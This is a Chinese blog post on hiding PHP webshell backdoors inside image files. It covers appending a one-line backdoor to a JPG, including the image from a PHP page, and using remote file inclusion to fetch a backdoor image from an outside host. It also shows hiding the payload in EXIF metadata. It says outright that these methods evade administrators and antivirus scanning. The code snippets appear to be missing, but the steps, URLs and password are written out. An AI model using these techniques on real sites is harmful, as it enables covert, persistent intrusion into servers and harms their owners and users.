PHP图片后门藏匿攻略

CracerCracer 2015-12-31 代码审计 692 1 2

123

我们平时藏匿图片后门是什么流程呢?我们来看一下

0x01 初级的藏匿方法:

 

1、建立一个eval.php文件,上面加入我们的后门:

2、找一张图片1.jpg,最好是从目标网站上下载下来的图片。

3、合并图片和php后门:

4、在任何一个php文件中包含这个2.jpg的图片后门,这里以images.php为例,写入以下的代码:

5、上传2.jpg和images.php,在菜刀里添加一句话后门:http://127.0.0.1/images/images.php,密码为feiji。

 

访问图片正常:

1

访问images.php页面出现乱码,但是后门已经正常运行:

2

但是一句话在菜刀里是可以解析成功的:

3

注:省去第3步也是可以的,只不过直接访问图片会乱码,会让管理员起疑心。

 

0x02 中级藏匿的方法:

 

1、其实就是远程文件包含,也不只是针对图片,要求你有高权限,能够操纵Apache和修改php.ini文件:

  • 修改ini的配置选项allow_url_fopen和allow_url_include为ON。

2、创建任何一个php文件中,以images.php为例,写入以下的代码:

3、刚才做的图片后门jpg可以放在别的网站(http://www.xxxx.com)上,在菜刀里添加一句话后门:

http://127.0.0.1/images/images.php?feiji=http://www.xxxx.com/images/2.jpg密码为feiji

 

注:这样做的优点是可以随时变换各种后门,缺点是很难获取到高权限。

 

 

0x03 高级的藏匿方法

背景知识:

EXIF信息: 是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。所有的JPEG文件以字符串“0xFFD8”开头,并以字符串“0xFFD9”结束。文件头中有一系列“0xFF??”格式的字符串,称为“标识”,用来标记JPEG文件的信息段。“0xFFD8”表示图像信息开始,“0xFFD9”表示图像信息结束,这两个标识后面没有信息,而其它标识紧跟一些信息字符。

其实就是这个玩意儿:选定图片右键选择属性,在详细信息里面可以看到(win7)

5

1、php里面有一个函数exif_read_data(),可以取得图片的EXIF信息头,但是需要开启php_exif模块。

2、我们是可以随意修改EXIF信息的,例如:

4

这里推荐一个小工具,PowerExif ,下载地址为:

http://www.pc6.com/softview/SoftView_68705.html

免费版可以修改部分EXIF信息头,但是对我们来说已经足够了。

打开工具,点击添加,在修改机型信息,如下:

6

添加我们的PAYLOAD:

7

3、我们来调试一下:

 

输出:

8

4、利用方法:

在php脚本上写入:

 

5、在菜刀上添加http://127.0.0.1/images/images.php 密码为feiji,效果:

9

有同学可能会问,为什么要使用这种方法藏匿图片后门,这个不是和初级的藏匿方法等效吗?原因有三:

  • 有经验的管理员一看include文件就会发现有端倪。
  • 杀软会重点检查include包含的文件。
  • exif_read_data()函数可以包含远程的JPG文件,也就是等效于一个远程漏洞文件包含咯。

 

转载请注明来自Cracer,本文标题:《PHP图片后门藏匿攻略》

喜欢 (2) 发布评论
1 条回复
加载中...
  1. 1111 1年前 (2016-01-04)
    沙发

    看不懂

发表评论


Top